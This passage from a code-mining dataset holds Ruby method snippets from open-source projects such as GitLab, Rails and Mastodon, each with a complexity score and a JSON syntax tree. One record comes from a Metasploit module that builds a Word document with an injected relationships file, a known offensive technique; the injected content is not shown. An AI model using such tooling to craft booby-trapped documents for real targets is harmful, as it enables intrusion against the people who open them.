able_name_flag\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"flag\"]}]}]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Partitionable\"]},\"Switch\"]}]}]}]}","id":"7a59625e-cce7-4da3-a35c-7885d586b075"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/ci/runner_type.rb","start_line":121,"raw_source":"def admin_url\n        Gitlab::Routing.url_helpers.admin_runner_url(runner) if can_read_all_runners?\n      end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"admin_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_read_all_runners?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"admin_runner_url\",{\"type\":\"send\",\"children\":[null,\"runner\"]}]},null]}]}","id":"ffa80062-8b45-47fe-b557-4110af4d1e27"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/workers/cost_query/pdf/timesheet_generator.rb","start_line":65,"raw_source":"def initialize(query, project)\n    @query = query\n    @project = project\n    @total_page_nr = nil\n    @page_count = 1\n    setup_page!\n  end","complexity_score":5.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@total_page_nr\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@page_count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"setup_page!\"]}]}]}","id":"c4972115-6f69-407a-922f-28e3c5c0ab11"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/regex_lexer.rb","start_line":201,"raw_source":"def self.get_state(name)\n      return name if name.is_a? State\n\n      states[name.to_sym] ||= begin\n        defn = state_definitions[name.to_s] or raise \"unknown state: #{name.inspect}\"\n        defn.to_state(self)\n      end\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_state\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"State\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"states\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"defn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state_definitions\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unknown state: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"inspect\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defn\"]},\"to_state\",{\"type\":\"self\",\"children\":[]}]}]}]}]}]}","id":"d6fff3ae-5434-4969-9fbb-c2f5be6939bd"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20160221003140_create_users.rb","start_line":4,"raw_source":"def change\n    create_table :users do |t|\n      t.string :email, null: false, default: ''\n      t.integer :account_id, null: false\n\n      t.timestamps null: false\n    end\n\n    add_index :users, :email, unique: true\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"users\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"18311df4-be55-4bd0-b57b-8a9c0b82dfb9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fileformat/word_unc_injector.rb","start_line":54,"raw_source":"def make_new_file\n    metadata_file_data = ''\n    metadata_file_data << '<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties'\n    metadata_file_data << ' xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" '\n    metadata_file_data << 'xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" '\n    metadata_file_data << 'xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">'\n    metadata_file_data << \"<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}\"\n    metadata_file_data << '</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">'\n    metadata_file_data << '2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">'\n    metadata_file_data << '2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>'\n\n    # where to find the skeleton files required for creating an empty document\n    data_dir = File.join(Msf::Config.data_directory, 'exploits', 'docx')\n\n    zip_data = {}\n\n    # add skeleton files\n    vprint_status(\"Adding skeleton files from #{data_dir}\")\n    Dir[\"#{data_dir}/**/**\"].each do |file|\n      if !File.directory?(file)\n        zip_data[file.sub(data_dir, '')] = File.read(file, mode: 'rb')\n      end\n    end\n\n    # add on-the-fly created documents\n    vprint_status('Adding injected files')\n    zip_data['docProps/core.xml'] = metadata_file_data\n    zip_data['word/_rels/settings.xml.rels'] = @rels_file_data\n\n    # add the otherwise skipped \"hidden\" file\n    file = \"#{data_dir}/_rels/.rels\"\n    zip_data[file.sub(data_dir, '')] = File.read(file, mode: 'rb')\n    # and lets create the file\n    zip_docx(zip_data)\n  end","complexity_score":37.7,"ast_json":"{\"type\":\"def\",\"children\":[\"make_new_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metadata_file_data\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata_file_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?><cp:coreProperties\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata_file_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\" xmlns:cp=\\\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\\\" \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata_file_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"xmlns:dc=\\\"http://purl.org/dc/elements/1.1/\\\" xmlns:dcterms=\\\"http://purl.org/dc/terms/\\\" \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata_file_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"xmlns:dcmitype=\\\"http://purl.org/dc/dcmitype/\\\" xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\">\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata_file_data\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<dc:creator>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOCAUTHOR\"]}]}]},{\"type\":\"str\",\"children\":[\"</dc:creator><cp:lastModifiedBy>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOCAUTHOR\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata_file_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\\\"dcterms:W3CDTF\\\">\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata_file_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\\\"dcterms:W3CDTF\\\">\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata_file_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"docx\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"zip_data\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adding skeleton files from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_dir\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_dir\"]}]},{\"type\":\"str\",\"children\":[\"/**/**\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_data\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"sub\",{\"type\":\"lvar\",\"children\":[\"data_dir\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Adding injected files\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"docProps/core.xml\"]},{\"type\":\"lvar\",\"children\":[\"metadata_file_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"word/_rels/settings.xml.rels\"]},{\"type\":\"ivar\",\"children\":[\"@rels_file_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_dir\"]}]},{\"type\":\"str\",\"children\":[\"/_rels/.rels\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip_data\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"sub\",{\"type\":\"lvar\",\"children\":[\"data_dir\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"zip_docx\",{\"type\":\"lvar\",\"children\":[\"zip_data\"]}]}]}]}","id":"6b394cb1-8544-4684-a82b-3c1dfe725223"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/persistent_ref.rb","start_line":35,"raw_source":"def delete\n      return unless should_delete?\n\n      delete_refs(path)\n    rescue Gitlab::Git::Repository::NoRepository\n      # no-op\n    rescue StandardError => e\n      Gitlab::ErrorTracking\n        .track_exception(e, pipeline_id: pipeline.id)\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_delete?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"delete_refs\",{\"type\":\"send\",\"children\":[null,\"path\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Repository\"]},\"NoRepository\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"id\"]}]}]}]}]},null]}]}","id":"678780e9-194c-46d2-bbb0-7e10cd667294"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/antispam.rb","start_line":61,"raw_source":"def spammy_texts\n    redis.smembers('antispam:spammy_texts')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"spammy_texts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"smembers\",{\"type\":\"str\",\"children\":[\"antispam:spammy_texts\"]}]}]}","id":"86b85368-cec4-402b-86e8-c74d0f869982"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":1663,"raw_source":"def resources(*resources, concerns: nil, **options, &block)\n          if resources.grep(Hash).any? && (deprecated_options = resources.extract_options!)\n            concerns = assign_deprecated_option(deprecated_options, :concerns, :resources) if deprecated_options.key?(:concerns)\n            assign_deprecated_options(deprecated_options, options, :resources)\n          end\n\n          if apply_common_behavior_for(:resources, resources, concerns:, **options, &block)\n            return self\n          end\n\n          with_scope_level(:resources) do\n            options = apply_action_options :resources, options\n            resource_scope(Resource.new(resources.pop, api_only?, @scope[:shallow], **options)) do\n              yield if block_given?\n\n              concerns(*concerns) if concerns\n\n              collection do\n                get  :index if parent_resource.actions.include?(:index)\n                post :create if parent_resource.actions.include?(:create)\n              end\n\n              new do\n                get :new\n              end if parent_resource.actions.include?(:new)\n\n              set_member_mappings_for_resource\n            end\n          end\n\n          self\n        end","complexity_score":68.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resources\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"resources\"]},{\"type\":\"kwoptarg\",\"children\":[\"concerns\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"grep\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deprecated_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"extract_options!\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deprecated_options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"concerns\"]}]},{\"type\":\"lvasgn\",\"children\":[\"concerns\",{\"type\":\"send\",\"children\":[null,\"assign_deprecated_option\",{\"type\":\"lvar\",\"children\":[\"deprecated_options\"]},{\"type\":\"sym\",\"children\":[\"concerns\"]},{\"type\":\"sym\",\"children\":[\"resources\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"assign_deprecated_options\",{\"type\":\"lvar\",\"children\":[\"deprecated_options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"resources\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_common_behavior_for\",{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"lvar\",\"children\":[\"resources\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"concerns\"]},{\"type\":\"lvar\",\"children\":[\"concerns\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"self\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_scope_level\",{\"type\":\"sym\",\"children\":[\"resources\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"apply_action_options\",{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resource\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resources\"]},\"pop\"]},{\"type\":\"send\",\"children\":[null,\"api_only?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shallow\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"concerns\"]},{\"type\":\"send\",\"children\":[null,\"concerns\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"concerns\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_resource\"]},\"actions\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_resource\"]},\"actions\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"create\"]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"create\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_resource\"]},\"actions\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"new\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"set_member_mappings_for_resource\"]}]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"7ad5f83c-58a9-466c-a9c3-1d60fa760079"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/enterprise/activity_message_handler.rb","start_line":2,"raw_source":"def automation_status_change_activity_content\n    if Current.executed_by.instance_of?(Captain::Assistant)\n      locale = Current.executed_by.account.locale\n      if resolved?\n        I18n.t(\n          'conversations.activity.captain.resolved',\n          user_name: Current.executed_by.name,\n          locale: locale\n        )\n      elsif open?\n        I18n.t(\n          'conversations.activity.captain.open',\n          user_name: Current.executed_by.name,\n          locale: locale\n        )\n      end\n    else\n      super\n    end\n  end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"automation_status_change_activity_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"executed_by\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"Assistant\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"locale\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"executed_by\"]},\"account\"]},\"locale\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resolved?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"conversations.activity.captain.resolved\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"executed_by\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"conversations.activity.captain.open\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"executed_by\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]}]},null]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"43207cbe-2f8b-4c34-ac0a-a9c452923fdd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/base_items_list_service.rb","start_line":55,"raw_source":"def init_collection\n      strong_memoize(:init_collection) do\n        filter(finder.execute).without_order\n      end\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"init_collection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"init_collection\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"finder\"]},\"execute\"]}]},\"without_order\"]}]}]}","id":"098969f3-0a2a-46ff-87b9-20537df7cff1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/manageiq/session/mem_cache_store_adapter.rb","start_line":8,"raw_source":"def session_options\n        require 'miq_memcached'\n        super.merge(MiqMemcached.default_client_options).merge(\n          :expire_after    => 24.hours,\n          :key             => \"_vmdb_session\",\n          :memcache_server => MiqMemcached.server_address,\n          :namespace       => \"MIQ:VMDB\",\n          :pool_size       => 10,\n          :value_max_bytes => 10.megabytes\n        )\n      end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"session_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"miq_memcached\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqMemcached\"]},\"default_client_options\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expire_after\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"_vmdb_session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memcache_server\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqMemcached\"]},\"server_address\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"str\",\"children\":[\"MIQ:VMDB\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pool_size\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value_max_bytes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"megabytes\"]}]}]}]}]}]}","id":"84c16223-884c-431c-b83c-5cb622eefe4b"}
